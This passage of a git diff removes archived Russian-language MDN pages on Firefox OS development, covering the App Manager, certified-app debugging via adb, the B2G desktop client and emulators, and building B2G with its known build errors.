До Firefox 28, инструменты открывались в отдельном окне. Начиная с Firefox 28  инструменты запускаются в отдельной вкладке в самом Менеджере Приложений, на одном ряду с вкладками Приложения и Устройства. Вкладке дается значок вашего приложения, поэтому ее легко найти:

- -

- -

Ошибки

- -

Если приложение не было добавлено успешно - например, если URL был неправильным, или вы выбрали упакованную папку приложения - запись будет добавлена ​​к странице для этого приложения, но это будет включать в себя сведения об ошибке.

- -

- -

Вы также можете удалить приложение из Менеджера, подведя курсор к Приложению "имя / описание" слева от окна, и нажать кнопку "X", которая появляется в каждом конкретном случае. Это, однако, не удаляет приложение с устройства. Для этого вам нужно вручную удалить приложение с помощью самого устройства.

- -

Панель устройства

- -

Вкладка "Устройство" показывает информацию о подключенном устройстве. Из окна "Установленные Приложения", приложение на устройстве может быть запущено и отлажено.

- -

- -
-

Примечание: Проверенных приложений нет в списке по умолчанию. Посмотреть, как отлаживать приверенные приложения.

-
- -

В окне "Разрешения" необходимы привилегии для различных Web APIs на текущем устройстве:

- -

- -

Наконец, вы можете сделать скриншот экрана текущего устройства, нажав на кнопку "Screenshot". Скриншот появится в новой вкладке в Firefox, и оттуда вы можете сохранить его, если хотите.

- -

Отладка проверенных приложений

- -

В настоящее время только устройства под управлением Firefox OS 1.2 способны отлаживать сертифицированные приложения. Если у вас есть разработанная сборка, вы можете включить отладку сертифицированных приложений, изменив опцию devtools.debugger.forbid-certified-apps на false в вашем профиле. чтобы сделать это, выполните слудующие шаги:

- -

 

- -
    -
  1. -

    На вашем компьютере, введите команду в Терминале/командной строке для входа в файловую систему с помошью оболочки:

    - -
    adb shell
    - -

    Вам надо получить root@android.

    -
  2. -
  3. -

    Делее, остановить запущенный B2G используя следующую команду:

    - -
    stop b2g
    -
  4. -
  5. -

    Прослудейте в следующий каталог:

    - -
    cd /data/b2g/mozilla/*.default/
    -
  6. -
  7. -

    Тут надо обновить файл prefs.js с помощью следующей строки:

    - -
    echo 'user_pref("devtools.debugger.forbid-certified-apps", false);' >> prefs.js
    -
  8. -
  9. -

    После того, как вы закончите редактирование и сохраните файл, запустите B2G снова,  используя следующую команду:

    - -
    start b2g
    -
  10. -
  11. -

    Выйдете из файловой системы с помощью команды exit ; это вернет вас к нормальной работе терминала.

    -
  12. -
  13. -

    Перепоключитесь к Менеджеру Приложений и вы должны увидеть сертифицированные приложения доступными для отладки.

    -
  14. -
- -
-

Примечание: Если вы захотите добавить эти предпорчтения в свою сборку вы можете запустить make DEVICE_DEBUG=1 reset-gaia.

-
- -

Поиск неисправностей

- -

Если устройство не распознается:

- -

Не можете подключить устройство к менеджеру приложений или запустить симулятор? Дайте нам знать or сообщите об ошибке.

- -
    -
  1. Убедитесь что у вас установлен Firefox 26+
  2. -
  3. Откройте Менеджер приложений (в адресной строке наберите about:app-manager)
  4. -
  5. Если у вас нет настоящего устройства: -
      -
    1. Установите симулятор Firefox OS
    2. -
    3. На нижней панели Менеджера приложений, нажмите на - Start Simulator - , потом нажмите на имя установленного симулятора, который должен появиться.
    4. -
    - -
      -
    1. -
        -
      1. Если у вас есть реальное устройство: - -
          -
        1. Убедитесь, что устройство работает под управлением Firefox OS 1.2+
        2. -
        3. В Windows, убедитесь, что драйвер, предоставленный производителем телефона установлен
        4. -
        5. В настройках вашего устройства, отключена функиця Блокировки Экрана (Settings > Screen Lock) и включена функция Удаленной Отладки (Settings > Device information > More information > Developer)
        6. -
        7. Установите плагин Помощник ADB в Firefox рабочего стола
        8. -
        9. -
          -
          Подключите устройство к вашему ПК с помощью кабеля USB
          -
          -
        10. -
        11. Вы должны увидеть название вашего устройства в правом нижнем углу Менеджера Приложений. Нажмите туда.
        12. -
        -
      2. -
      3. Строка состояния должна показать "Подключено к XXX"
      4. -
      5. Кликните на Панели Приложений и добавтье приложение (упакованное или состоявшееся)
      6. -
      7. Кнопка Обновить проверит ваше приложение и установит его на Симулятор/Устройство
      8. -
      9. Кнопка Отладка подключит средства разработки в работающие приложения
      10. -
      11. Смотрите раздел {{ anch("Troubleshooting") }}  для помощи, если проблемы остались
      12. -
      - - - -
        -
      • -

        Пусть Firefox обрабатывет ADB (рекомендуется) Установите плагин Помощник ADB, что делает этот процесс проще. При этом нет необходимости устанавливать ADB, и нет необходимости вводить команду adb forward : все сделает плагин Помощник ADB

        - Загрузить плагин Помощник ADB
      • -
      • Используйте ADB вручную. Вам нужно, чтобы он установлен на вашем компьютере - скачать и установить adb (см. Скачать Android SDK) как часть пакета Android SDK. Вы должны будете включить переадресацию порта, введя следующую команду в строке терминала: -
        adb forward tcp:6000 localfilesystem:/data/local/debugger-socket
        -
      • -
      - - -
    2. -
    -
  6. -
- -

 

diff --git a/files/ru/archive/b2g_os/using_the_b2g_desktop_client/index.html b/files/ru/archive/b2g_os/using_the_b2g_desktop_client/index.html deleted file mode 100644 index dc438cfde2..0000000000 --- a/files/ru/archive/b2g_os/using_the_b2g_desktop_client/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: Using the B2G desktop client -slug: Archive/B2G_OS/Using_the_B2G_desktop_client -translation_of: Archive/B2G_OS/Building_the_B2G_OS_simulator ---- -

The Firefox OS desktop client, also called the B2G desktop client, lets you run Gaia and web apps in a Gecko-based environment somewhat similar to an actual device. It doesn't emulate device hardware, so it's not adequate for testing device APIs, and isn't a replacement for testing on actual hardware. However, it does have a several APIs enabled that aren't available on Firefox such as the Contacts and Settings APIs. It can therefore be useful during the development of our application, or while working on the Gaia user interface itself.

-

This article covers downloading or building the Firefox OS desktop client, as well as how to use it.

-

Download a nightly build

-

Just like Firefox Nightlies, the Firefox OS desktop client is built every day from the latest source code. The latest build is available from the Mozilla FTP server. Be sure to pick the latest version and the right archive for your operating system.

-

We can now skip ahead to Running the desktop client.

-

Building the desktop client

-

The first thing we need to do is set up a standard Mozilla build environment. Once we have that, we can pull down the code we'll need and configure to build the Firefox OS desktop client.

-

Downloading the code for the first time

-

In a directory where we'd like the source code to go, let's clone the mozilla-central repository that contains all of Gecko:

-
 hg clone http://hg.mozilla.org/mozilla-central
-
-

Updating the code

-

When we do subsequent builds later, we'll want to make sure we have the latest code. Here's how to pull the latest changes:

-
cd mozilla-central
-hg pull -u
-
-

Create a mozconfig

-

Next, we need to create a mozconfig file in the mozilla-central directory to configure the build system to build the Boot to Gecko client instead of Firefox:

-
mk_add_options MOZ_OBJDIR=../build
-mk_add_options MOZ_MAKE_FLAGS="-j9 -s"
-
-ac_add_options --enable-application=b2g
-ac_add_options --disable-libjpeg-turbo
-
-# This option is required if you want to be able to run Gaia's tests
-ac_add_options --enable-tests
-
-# turn on mozTelephony/mozSms interfaces
-# Only turn this line on if you actually have a dev phone
-# you want to forward to. If you get crashes at startup,
-# make sure this line is commented.
-#ac_add_options --enable-b2g-ril
-

Building

-

Now we're ready to build the desktop client with the following command issued from the mozilla-central directory:

-
make -f client.mk
-
-

The built client will be placed in the ../build/dist directory (based on the value you specify for MOZ_OBJDIR in the mozconfig file).

-

Running the desktop client

-

By default the desktop client will show an empty screen because it doesn't know which web app to load initially as the system app. The collection of system apps and default apps that come with Firefox OS is called Gaia.

-

Downloading Gaia

-

To download Gaia for the first time, let's clone the source code repository on GitHub:

-
 git clone https://github.com/mozilla-b2g/gaia
-

To update an already existing clone of Gaia, we can pull in the latest changes from GitHub:

-
cd gaia
-git pull
-
-

Generating a profile

-

Next we need to set up Gaia's apps for the desktop client. This includes packaging the Gaia apps in the same way like they would be installed on the device, as well as setting up the permissions for the privileged system apps. We do this by generating a profile. The following command will take care of that: The new profile contains a customized extension and other configuration needed to make B2G run properly. So do this in the gaia directory:

-
cd gaia
-make
-
-

This should create a profile directory below the gaia directory.

-

Running on Linux

-

To run the desktop client against the Gaia profile we just generate, we simply invoke the b2g binary with the profile parameter. The binary will be located in the tarball we downloaded earlier or in the ../build/dist/bin directory if we built the client ourselves.

-
.../b2g -profile gaia/profile
-
-

You may experience annoying rendering problems. To avoid them, add the following line to your gaia/profile/prefs.js file:

-
user_pref("layers.acceleration.disabled", true);
-
-

Running on Mac

-

On Mac, the command line is slightly more complicated due to the location of the b2g binary and the need for absolute paths when specifying the profile directory:

-
.../B2G.app/Contents/MacOS/b2g -profile /full/path/to/gaia/profile
-
-

Command line options

-

There are a number of command line options you can use to adjust the runtime experience while using the desktop client. You can get a list by using the -help option. This section covers some of the particularly interesting ones.

-

Specifying the screen size

-

You can specify the screen size of the device you want to simulate using the --screen option:

-
b2g --screen=<width>x<height>[@<dpi>]
-

Where <width>, <height>, and <dpi> are fairly self-explanatory parameters: the width and height of the device's screen in pixels and the device resolution in DPI. For example:

-
b2g --screen=320x480
-b2g --screen=320x480@160
-
-

Optionally, you can specify certain devices by name to simulate their screen size and resolution:

- -

Opening the JavaScript console

-

You can open the JavaScript console when launching the desktop B2G client by launching it from the command line with the -jsconsole flag. After building, just do:

-
.../b2g -jsconsole -profile /path/to/your/profile
-

If you've installed the nightly build on a Mac, you can do the following:

-
/Applications/B2G.app/Contents/MacOS/b2g -jsconsole -profile /path/to/your/profile
-

Launching a specific application at startup

-

You can now specify an application to be launched automatically when b2g starts up in the desktop client. This is done as soon as the rest of the system is done loading up. To do this, just use the --runapp option, which takes as a parameter the name of the application to run. For example:

-
 .../b2g -profile /path/to/your/gaia/profile --runapp email
-

Before looking for an app to launch, the specified name is normalized by converting it to all lower case and removing all dashes and spaces. This normalized name is then compared to similarly normalized names from the manifests of available apps' manifests.

-

For example, the name of the email app is currently "E-mail", but --runapp email will work because of this normalization.

-

If you specify the --runapp option without an argument, or with an empty argument, the b2g client will output to your terminal a list of the known applications as well as a brief usage message.

-
-

Note: Using the --runapp option disables the lock screen as a side effect and does not re-enable it. It's assumed that you won't use this command on a profile on which you will be testing the lock screen, or you will turn it back on manually. Feel free to contribute a patch to change this behavior if it's a problem.

-
-

Usage tips

-

This section provides a few helpful tips to using the B2G desktop client.

- -

Next steps

-

Now that you have a desktop build of Boot to Gecko running, you can do testing, development, and other work in it:

- diff --git a/files/ru/archive/b2g_os/using_the_b2g_emulators/index.html b/files/ru/archive/b2g_os/using_the_b2g_emulators/index.html deleted file mode 100644 index 09a0a77ecf..0000000000 --- a/files/ru/archive/b2g_os/using_the_b2g_emulators/index.html +++ /dev/null @@ -1,183 +0,0 @@ ---- -title: Using the B2G emulators -slug: Archive/B2G_OS/Using_the_B2G_emulators -translation_of: Archive/B2G_OS/Using_the_B2G_emulators ---- -

- -
-

This article provides a brief guide to some key things you should know when using the boot to Gecko emulators. This doesn't appear to be a complete user manual; instead, it simply tells you a few useful things that you might not learn on your own.

-
- -

This guide assumes you've already built one of the emulators; if you haven't, rewind to Building and installing Firefox OS!

- -

About the B2G emulatorsIConsole {1968b7d3-e3bf-4ceb-99e0-cb7c913317bb}

- -

There are two B2G emulators. The first, built by configuring for "emulator" when running config.sh, is an ARM device emulator. While this is slower than running directly on an x86 processor, it's more stable and a more accurate representation of what an actual device will work like. Configuring for "emulator-x86" when running config.sh gets you the x86 device emulator instead.

- -
Note: In recent months the Automation Team has stopped using the x86 emulator due to stability issues. As such, there's a fair chance that things might just not work at all on emulator-x86. Use the ARM emulator unless you have a good reason to do otherwise.
- -

Once you've selected, configured, and built an emulator, the rest works the same way from a user standpoint, so the rest of this guide is common to both.

- -
Note: On Mac OS X, the B2G emulator requires a Core 2 Duo processor or later; that is, a system that is compatible with Mac OS X 10.7 "Lion." You do not actually have to be running Lion, you just have to be compatible with it.
- -

Starting the emulator

- -

To start the B2G emulator, type the following command:

- -
./run-emulator.sh
-
- -

This will handle all the emulator startup tasks for you. Now wait patiently while the emulator starts up and Boot to Gecko boots up on it. It can take a couple of minutes, so be patient.

- -

When the emulator doesn't work

- -

Sometimes the emulator fails to start up. Welcome to the bleeding edge of technology! Here are some tips for resolving problems.

- -

Are you trying to work in a VM?

- -

VirtualBox and Parallels have problematic accelerated graphics support which causes a boot failure in the emulator, something about an OpenGL device. The device will start booting, fail, and restart in a loop, or start up, but then display nothing in the screen of the emulator. There is no solution unfortunately (there is a workaround for VirtualBox) - you need to use VMWare Player (Freeware), Workstation or Fusion. For VirtualBox - either do not install Guest Addons, or disable vboxvideo module.

- -

Make sure the adb server is running

- -

This usually happens because the adb server that handles interacting with the emulated device is either not running or has malfunctioned. In this case you can usually see the following error message in the terminal where you launched the emulator:

- -
emulator: control console listening on port 5554, ADB on port 5555
-emulator: can't connect to ADB server: Connection refused
-
- -
-

Note: If you're using the adb built by the B2G build system (which you probably are), it's located in the $B2G/out/host/<platform>/bin directory. On Mac, this is $B2G/out/host/darwin-x86/bin, for example.

-
- -

Look to see if adb is even running by doing:

- -
ps aux | grep adb
-
- -

If it's there, do this to kill it, because it's probably not working correctly.

- -
adb kill-server
-
- -

If it's not there, do this:

- -
adb start-server
-
- -

Then try running the emulator again. If it's still not working, time to drop in on #b2g on irc.mozilla.org for help.

- -

Erase configuration settings

- -

Sometimes, out of date configuration settings on your emulated device can cause it to misbehave. You can delete the IndexedDB database fix this, as follows:

- -
    -
  1. Make sure adb is running, as described in Make sure the adb server is running.
  2. -
  3. Start up the emulator.
  4. -
  5. in the terminal on the host computer, go into the root code build directory for your emulator, then type: out/host/<platform>/bin/adb -e shell; on Mac, this would be out/host/darwin-x86/bin/adb -e shell.
  6. -
  7. Now you're in the adb shell, and can execute shell commands on your emulated device. Let's stop B2G on the device: stop b2g.
  8. -
  9. Delete the IndexedDB database: rm -rf /data/local/indexedDB.
  10. -
  11. Restart B2G on the emulated device: start b2g.
  12. -
- -

Hopefully at this point you will wind up in the Gaia interface and all will be well.

- -

If the emulator starts but the screen is black before or after the "mozilla technology" splash screen

- -

If this happens it could be a driver bug of the machine that is running the emulator. It has been observed on the Linux open source nouveau drivers. The easiest solution is to change the drivers on the machine. In the case of the nouveau driver it could be to install proprietary ("additional" in Ubuntu) drivers instead. In the case of on-board intel graphics chipsets, the default Linux open source driver may cause an emulator error 'eglMakeCurrent failed' which appears to be as it supports an OpenGL version less than the 2.0 needed for GPU emulation. The solution is to deactivate the GPU by editing run-emulator.sh script (this will be slower).

- -

Configuring the emulator

- -

There are several options you can change to adjust the emulator to be more similar to the device you want to emulate. This section provides some basic information on how to do that. You can adjust the emulator's configuration by editing the run-emulator.sh script (or, ideally, a copy of it). Only a few of the most useful parameters are discussed here; you'll want to look at the qemu site for details on the others.

- -
Tip: Create one copy of run-emulator.sh for each device you want to simulate; this makes it easy to start up with different configurations.
- -

Changing skins

- -

By default, the emulator starts up in HVGA mode; that's half-VGA, or 320x480 pixels. This is specified by the -skin parameter given to the emulator when started up. You can switch to a different display mode by editing the run-emulator.sh script (or, ideally, a copy of it). The provided skins are:

- - - -

The skins are located in the B2G/development/tools/emulator/skins directory. It's worth noting that the format for skins is quite simple; if you look at them, they're simply folders filled with PNG files for the various user interface objects and a text file called layout which describes the layout of the interface and screen area. It's fairly simple to create custom skins if needed.

- -

Changing memory size

- -

Another option you may wish or need to configure is the device memory size. The default is 512 MB; however, if the device you're emulating has more or less memory, it is likely important that you adjust this setting to match, to ensure your app will run on the baseline device you want to work on. To do this, change the value of the -memory parameter to the size you need in megabytes. Other than the 512 MB default, 256 MB and 1024 MB are likely ones you'll want to test with.

- -

To change the amount of emulated storage capacity for the device (that is, the storage space for local data, like the flash storage on a mobile phone or the hard drive on a computer), change the value of the -partition-size parameter. The default is 512 MB, but you can specify any size in MB you need in order to simulate the kind of device you need to test for.

- -

Network Connectivity

- -

If for some reason you cannot connect your emulator to the internet you can run the following command from your commandline:

- -
adb shell setprop net.dns1 10.0.2.3
- -

If you run emulator-jb or emulator-kk, the command to set up the DNS server is different.
- Please run the following commands:

- -
adb shell ndc resolver setdefaultif eth0
-adb shell ndc resolver setifdns eth0 10.0.0.0 10.0.2.3
-
diff --git "a/files/ru/archive/b2g_os/\321\200\320\260\320\267\320\262\320\270\321\202\320\270\320\265_\321\202\320\265\320\274/index.html" "b/files/ru/archive/b2g_os/\321\200\320\260\320\267\320\262\320\270\321\202\320\270\320\265_\321\202\320\265\320\274/index.html" deleted file mode 100644 index 1a933de279..0000000000 --- "a/files/ru/archive/b2g_os/\321\200\320\260\320\267\320\262\320\270\321\202\320\270\320\265_\321\202\320\265\320\274/index.html" +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Развитие Тем -slug: Archive/B2G_OS/Развитие_Тем -tags: - - Firefox OS - - Gaia - - Тема -translation_of: Archive/B2G_OS/Developing_Gaia ---- -
-

Тема в Firefox OS это пользовательский интерфейс и набор приложений по умолчанию: он включает в себя экран, блокировка главного экрана, функция дозвона и другие приложения. По существу, Темы являются набором сложных веб-приложений, которые работают на базе платформы Firefox OS. Данный цикл статей охватывает все, что вам нужно знать, чтобы принять участие в проекте Тема.

-
- -

В этом руководстве мы постараемся рассказать эффективный способ создания Темы - мы имеем ввиду, что создавая новую Тему, вы можете сталкнуться с ошибками связанными с ней. Первый набор статей может быть проработаны по порядку, или вы можете перейти в соответствующий раздел, если вам нужно освежить память на определенном аспекте процесса.

- -

После этого, мы предоставим справочные материалы и информацию, охватывающую дополнительные темы.

- -

- -

Основы

- -
    -
  1. Running the Gaia codebase
  2. -
  3. Understanding the Gaia codebase
  4. -
  5. Making Gaia code changes
  6. -
  7. Testing Gaia code changes
  8. -
  9. Submitting a Gaia patch
  10. -
- -

Ссылки на сборки Тем

- - - -

Смотрите также

- - diff --git "a/files/ru/archive/b2g_os/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265/index.html" "b/files/ru/archive/b2g_os/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265/index.html" deleted file mode 100644 index 94b9de2b2c..0000000000 --- "a/files/ru/archive/b2g_os/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265/index.html" +++ /dev/null @@ -1,410 +0,0 @@ ---- -title: Сборка Firefox OS -slug: Archive/B2G_OS/Создание -tags: - - B2G - - Build documentation - - Firefox OS - - Guide - - Документация построения -translation_of: Archive/B2G_OS/Building ---- -
- -
-

После того как вы запустили set up your build system и выполняется ваш процесс initial pull and configure кода, вы можете построить загрузки для Gecko. Это руководство объясняет, как.

-
- -

Обновление кода

- -

Если это ваш не первый раз сборки B2G, вы, возможно, захотите, вытащить последний код, прежде чем начать собирать. Чтобы сделать это, вы должны обновить оба инструмента B2G и зависимости, используя следующие две команды:

- -
git pull
-./repo sync -d
-
- -

-d Опция включает различные проекты заголовка, для пересмотра Android манифеста (т.е. мейнстрим версию из хранилища по умолчанию). Это полезно, если вы сделали изменения в репозиториях (и связанные с этим изменения исходных), но вы хотите вернуться к главной версии временно. Это действительно придаст вашей постановке или рабочий каталог изменяется нетронутым (см the following SO question для полного объяснения). Если вы не трогал исходный код, вы можете использовать команду нормально:

- -
git pull
-./repo sync
- -

Вы можете обновить конкретной цели make, указав её имя:

- -
./repo sync gaia
-
- -

У команда repo есть и другие варианты, которые могут быть интересны; repo help даст вам много информации.

- -

Создание

- -
-

Примечание: Перед созданием, вы можете настроить .userconfig фаил сборку. Увидеть Customization with the .userconfig file для получения дополнительной информации.

-
- -

Создать загрузочные для Gecko, просто используйте инструмент build.sh:

- -
cd B2G
-./build.sh
-
- -

Время для другого перерыва на кофе или, возможно, сон (особенно, если это ваш первый билд, оно займет около 30 минут на Core i7 с 8 Гб оперативной памяти). Как и в шаге настроить, на предыдущей странице, если вы используете каталог ранее извлеченных системных файлов Android, вы должны установить ANDROIDFS_DIR перед запуском build.sh.

- -
-

Примечание: Для более подробных инструкций по перепрограммированию новой сборки на телефон, читать Installing Firefox OS on a mobile device.

-
- -

Создание специальных модулей,

- -

Если вы хотите построить только конкретный модуль, такой как Gecko, вы можете задать его по имени:

- -
./build.sh gecko
-
- -

Для того, чтобы обновить только одну заявку, вы можете построить только gaia модуль с помощью BUILD_APP_NAME переменная среды:

- -
BUILD_APP_NAME=calendar ./build.sh gaia
- -

Чтобы получить список модулей, которые вы можете построить, вы можете сделать:

- -
./build.sh modules
-
- -

Установка количества процессорных ядер для использования

- -

По умолчанию, B2G построение сценария использует количество ядер вашей системмы, плюс два, как число параллельных задач для запуска. Вы можете изменить это, задав параметр -j при запуске build.sh. Это может быть удобно, если вы используете вашу систему для других вещей, а созданию на заднем плане нужно немного уменьшить нагрузку на процессор. Это также удобно, когда вы испытываете при построении проблеммы, это может сделать вывод Ошибки при чтении из процесса сборки легче, когда у вас есть только одна задача процесса в это время!

- -

Например, чтобы построить с помощью всего двух параллельных задач:

- -
./build.sh -j2
-
- -

Наиболее распространенным примером использования этого, заключается в предотвращении построения  работающего параллельно для остальных. Это делает вывод процесса намного проще для чтения, и позволяет легче разобраться с проблеммой сборки. Для этого:

- -
./build.sh -j1
-
- -

 

- -

Создание multilocale

- -

Чтобы создать multilocale сборки, выполните следующие действия:

- -

Gaia

- -
    -
  1. Определите, какие Gaia языки использовать. Мы в настоящее время используюем locales/languages_dev.json и locales/languages_all.json как наши Gaia языковые файлы.
  2. -
  3. Клонирование соответствующие локали http://hg.mozilla.org/gaia-l10n в каталоге; мы используем gaia-l10n/. You could use the locales/ directory . Вы должны будете клонировать репо для каждого региона, указанного в файле языках.
  4. -
  5. В вашей среде, установите LOCALE_BASEDIR к абсолютному пути каталога в шаге 2. Set LOCALES_FILE  к абсолютному пути к файлу на шаге 1.
  6. -
  7. Кроме того, вы можете установить GAIA_DEFAULT_LOCALE Если вы хотите установить локаль по умолчанию.
  8. -
- -
cd gaia/locales/
-hg clone https://hg.mozilla.org/releases/gaia-l10n/v1_2/es
- -
Установите переменные окружения:
- -
 
- -
export LOCALE_BASEDIR=$PWD/locales
-export LOCALES_FILE=$PWD/locales/languages_dev.json
-export GAIA_DEFAULT_LOCALE=es
-
- -

И languages-dev.json может быть заменен самостоятельно languages-own.json  Путь, который мог быть сформирован как этот. Вы должны добавить запись на каждый репо клонированных в каталоге локали .:

- -
{
-  "en-US"     : "English (US)",
-  "es"        : "Español"
-}
-
- -
-

Ошибка 884752(ноябрь 2013), чтобы добавить раскладки клавиатуры (если имеются в Gaia) используйте параметр                               GAIA_KEYBOARD_LAYOUTS

- -

Ошибка: https://bugzilla.mozilla.org/show_bug.cgi?id=884752

- -

Макеты: https://github.com/mozilla-b2g/gaia/tree/v1.2/keyboard/layouts

- -

Например, чтобы добавить на испанском и итальянском языках раскладку клавиатуры, выполните предыдущую команду добавления

- -
  GAIA_KEYBOARD_LAYOUTS=en,es,it
- -

В этот момент вы готовы подключать Gaia к телефону в первый раз. Подключите телефон и убедитесь, что удаленная отладка проверяется  Settings > Device Information > More Information > Developer.  Вы должны сделать это один раз, для собственного телосложения Gaia прив включен благодаря REMOTE_DEBUGGER=1:

- -
 make clean && make production LOCALES_FILE=locales/languages-own.json
- -
-

Если вы хотите клонировать и / или обновить все поддерживаемые языки для той или иной отрасли, вы можете использовать this script

-
- -

Gecko

- -
    -
  1. Определите, какие Gecko языки добавить в использовании. Мы в настоящее время используем b2g/locales/all-locales как  Gecko язык файла.
  2. -
  3. Клонирование соответствующих локали в каталоге; это может быть gecko -l10n/ . - -
  4. -
  5. Клон compare-locales. Если вы предпочитаете Git, пожалуйста, убедитесь, что используете RELEASE_0_9_7 tag.
  6. -
  7. -

    В вашей среде, установите L10NBASEDIR к абсолютному пути каталога в шаге 2. Set MOZ_CHROME_MULTILOCALE в строку разделенных пробелами районов на шаге 1.

    - -

    Добавить compare-locales/scripts dir в вашем PATH, и compare-locales/lib на ваш PYTHONPATH.

    - Например, - -
    export L10NBASEDIR=$PWD/gecko-l10n
    -export MOZ_CHROME_MULTILOCALE="ja zh-TW"
    -export PATH="$PATH:$PWD/compare-locales/scripts"
    -export PYTHONPATH="$PWD/compare-locales/lib"
    -
    - -

    После того как выше написанное настроено, вы можете запустить build.sh.

    - -

    Вы можете use .userconfig а также:

    - -
    ## Gaia
    -export GAIA_DEFAULT_LOCALE=es
    -export LOCALE_BASEDIR=/b2g/gaia-l10n-transifex-v1.2/
    -export LOCALES_FILE=/b2g/languages_propio.json
    -
    -## Gecko
    -export L10NBASEDIR='/b2g/gecko-l10n-v1.2'
    -export MOZ_CHROME_MULTILOCALE="es-ES eu ca gl pt-BR"
    -export PATH="$PATH:/b2g/compare-locales/scripts"
    -export PYTHONPATH="/b2g/compare-locales/lib"
    -  
    -
  8. -
- -
-

Есть некоторые различия между Gaia языком и Gecko . Например, в Gaia, Spanish "es", а на Gecko tranlated к "Spanish of Spain" (es-ES)

-
- -

Эти инструкции помогут нам сгладить многие вещи.

- -

Известные ошибки

- -

"Построить не удалось!"

- -

Если вы получаете общем "Построить не удалось" сообщение, вы всегда должны попытаться восстановить подключение телефона к компьютеру; Иногда телефон может быть демонтирована по множеству причин.

- -
-

Обратите внимание, что настройки и создание B2G для Keon не работает на Mac. Вы должны будете использовать Linux для создания для этого устройства.

-
- -

Mountain Lion конкретных ошибок сборки

- -
-

1. Если вы строите на OS X 10.8 "Mountain Lion" (Xcode 4.4.1или выше)  и следующая ошибка:

- -
external/qemu/android/skin/trackball.c:130:25: error: 'M_PI' undeclared (first use in this function)
-Отредактируйте файл: B2G/external/qemu/Makefile.android and add in line 78: - -
MY_CFLAGS += -DM_PI=3.14159265358979323846264338327950288   #/* B2G_fix: not finding M_PI constant */
-
-
- -
2.  Если вы находитесь на Mountain Lion, и вы получаете ошибка во время ./build.sh like:
- -
-
/System/Library/Frameworks/IOKit.framework/Headers/usb/USB.h:797:9: error: too many #pragma options align=reset
- -

Замените все экземпляры на '#pragma options align=reset' with '#pragma pack()' inside /System/Library/Frameworks/IOKit.framework/Headers/usb/USB.h

-
- -

Неопределенные символы "_sqlite3_androidopt_handle_pragma" и "_sqlite3_androidopt_open"

- -

Эта ошибка появляется, если вы строите на OS X 10.7  или более новую версию с Xcode 4.5  или более поздней версии. Чтобы исправить это, примените патч на https://groups.google.com/forum/#!msg/android-building/yAfPyUqCsiQ/7zvICk4GWjYJ для external/sqlite/dist/Android.mk файл.

- -

KeyedVector.h:193:31: error: indexOfKey не был объявлен в этой области

- -

Эта ошибка появляется, когда ваша версия GCC слишком новая. Установите gcc/g++/g++-multilib 4.6.x versions. Увидеть Customizing with the .userconfig file для получения дополнительной информации.

- -
-

Сообщество Примечание: Можно использовать gcc 4.7.x  с небольшими изменениями в коде B2G (GCC поможет вам), но вы не получите никакой помощи! Ни с изменения кода, ни с ошибками не встретите.

-
- -

arm-linux-androideabi-g++: Internal error: Killed (program cc1plus)

- -

Если вы видите это сообщение, скорее всего это означает, что свободной памяти не хватает. Убедитесь, что имеется достаточно свободной памяти перед запуском ./build.sh. Это должен работать нормально, если ваша система имеет 4GB of RAM.

- -

"...is referenced by DSO" ошибка

- -

При создании эмулятора, если вы получаете /usr/bin/ld: out/host/linux-x86/obj/EXECUTABLES/triangleCM_intermediates/triangleCM:  скрытый символ `_XGetRequest' in out/host/linux-x86/obj/STATIC_LIBRARIES/libSDL_intermediates/libSDL.a(SDL_x11dyn.o)  ссылается DSO.

- -

Вы можете получить это с некоторыми версиями в Binutils. Если вы запустите Debian Stable, вы можете использовать gold линкер путем установки пакета binutils-gold.  Следует отметить, что gold линкер уже установлены binutils, но это не используется default; binutils-gold  делает именно это.

- -

Если вы получаете ошибки построения в то время как система сборки выполняет тесты

- -

Иногда (особенно после сборки инструмента или обновления операционной системы) вы получите странные ошибки, как это, когда система сборки работает его испытания после сборки:

- -
Generating permissions.sqlite...
-test -d profile || mkdir -p profile
-run-js-command  permissions
-WARNING: permission unknown:offline-app
-WARNING: permission unknown:indexedDB-unlimited
-build/permissions.js:122: NS_ERROR_UNEXPECTED: Component returned failure code: 0x8000ffff (NS_ERROR_UNEXPECTED) [nsIPermissionManager.add]
-make[1]: *** [permissions] Error 3
-make: *** [gaia/profile.tar.gz] Error 2
- -

В этой ситуации, попробуйте удалить gaia/xulrunner-sdk каталог и повторно потянув код:

- -
rm -r gaia/xulrunner-sdk
-
- -

Это удаляет загруженный, предварительно скомпилированную копию XULRunner которую система сборки извлекает автоматически; на следующей сборке, новой копии XULRunner будет автоматически восстановлен.

- -

Не удалось получить platform/libcore

- -

Если вы пытались настроить ваш B2G построенный для Nexus S (./config.sh nexus-s) и получили ошибку, связанную с libcore, это из-за проблем с Линаро Git, которая кормится тут. Это исправит, проверка на B2G манифест, вот так:

- -
git clone https://github.com/mozilla-b2g/b2g-manifest.git
- -

Редактировать nexus-s.xml подать в этом репо, заменяя запись Линаро Git со ссылкой на AOSP ходом, который следует читать както так:

- -
<default revision="refs/tags/android-4.0.4_r1.2"
-              remote="aosp"
-              sync-j="4" />
- -

Фиксировать эти изменения (git commit -a) а затем изменить config.sh подать в главном отделении главного B2G репо, что вы проверили, чтобы указать на модифицированной местного манифеста вместо Mozilla одного:

- -
GITREPO=${GITREPO:-"file:///home/path/to/my/b2g-manifest"}
- -

Clang ошибки при сборке Xcode 5 on Mac

- -

Если вы строите на Mac OS X 10.8 with Xcode 5,  Вы, вероятно, увидите следующие ошибки:

- -
clang: error: argument unused during compilation: '-include system/core/include/arch/darwin-x86/AndroidConfig.h'
-clang: error: argument unused during compilation: '-U DEBUG'
-clang: error: argument unused during compilation: '-U DEBUG'
-clang: error: argument unused during compilation: '-MF out/host/darwin-x86/obj/EXECUTABLES/obbtool_intermediates/Main.d'
-make: *** [out/host/darwin-x86/obj/EXECUTABLES/obbtool_intermediates/Main.o] Error 1
- -

Это происходит потому, Xcode 5 changes the g++ compiler in /usr/bin, который тормозит процесс сборки, если вы пытаетесь использовать его для компиляции. Для того, чтобы обойти эту проблему, измените следующую строку в build/core/combo/HOST_darwin-x86.mk:

- -
HOST_CXX := g++
- -

для

- -
HOST_CXX := g++-4.6
-ifeq (,$(wildcard /usr/local/bin/g++-4.6))
- HOST_CXX := g++
-endif
- -

